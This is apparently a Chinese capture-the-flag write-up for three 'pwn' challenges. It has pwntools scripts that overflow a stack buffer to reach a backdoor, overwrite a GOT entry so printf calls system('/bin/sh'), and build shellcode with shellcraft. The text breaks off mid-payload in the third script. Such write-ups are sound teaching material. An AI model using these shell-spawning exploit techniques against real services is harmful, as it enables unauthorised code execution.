HSC-1th WP PWN
1.Ez_pwn
system('/bin/sh'),main函数进入就是栈溢出。
代码语言:javascript复制from pwn import *
p = remote('hsc2019.site',*****)
p.recvuntil(b'string!')
p.sendline(b'a'*(64 8) p64(0x400741))
p.recv()
p.interactive()
2.EZPWN
system('/bin/sh'),将printf地址改为后门地址,修改got表,调用printf实际调用的system('/bin/sh')
代码语言:javascript复制from pwn import *
p = remote('hsc2019.site',10090)
elf=ELF('./pwn')
context.log_level='debug'
p.sendlineafter('your ID?n','aaaa')
p.sendlineafter('Give me the target address?',str(elf.got['printf']))
p.sendlineafter('Give me the data: ',p64(0x400796))
p.interactive()
got 表覆盖,保护只开了金丝雀,ida 反汇编有后门。分析函数有三次输入机会,第一次写在 bss,第二次写栈,第三次写在你输入得地址上。
p64 打包为 8 字节,即第三次输入就是给后门的, 第二次输入是我们想要的地址,首选为返回地址,部分开启 got 表,直接尝试修改 got 表,也就是第二次输入 put 得 got 表地址 然后第三次输入直接对其进行修改 从而在到达 puts 函数时 即可 getshell。
3.SAHELL
在0x0x600000处内存,寻找地址存储地址大于本身0x50以上的。发现在0x600088处:
代码语言:javascript复制0x600088 —▸ 0x60010c (hello)
于是将start的ebp调整到0x600088对应main内写入数据的地址为:0x600088 0x50 = 0x6000D8,能够覆盖start返回地址0x60010c,在0x60010c写入shellcode
代码语言:javascript复制#encoding=utf-8
from pwn import *
from pwn import *
context(os='linux',arch='amd64')
fpath='/pwn'
r = remote("hsc2019.site",*****)
code = shellcraft.sh()
shellcode = asm(code)
payload=b'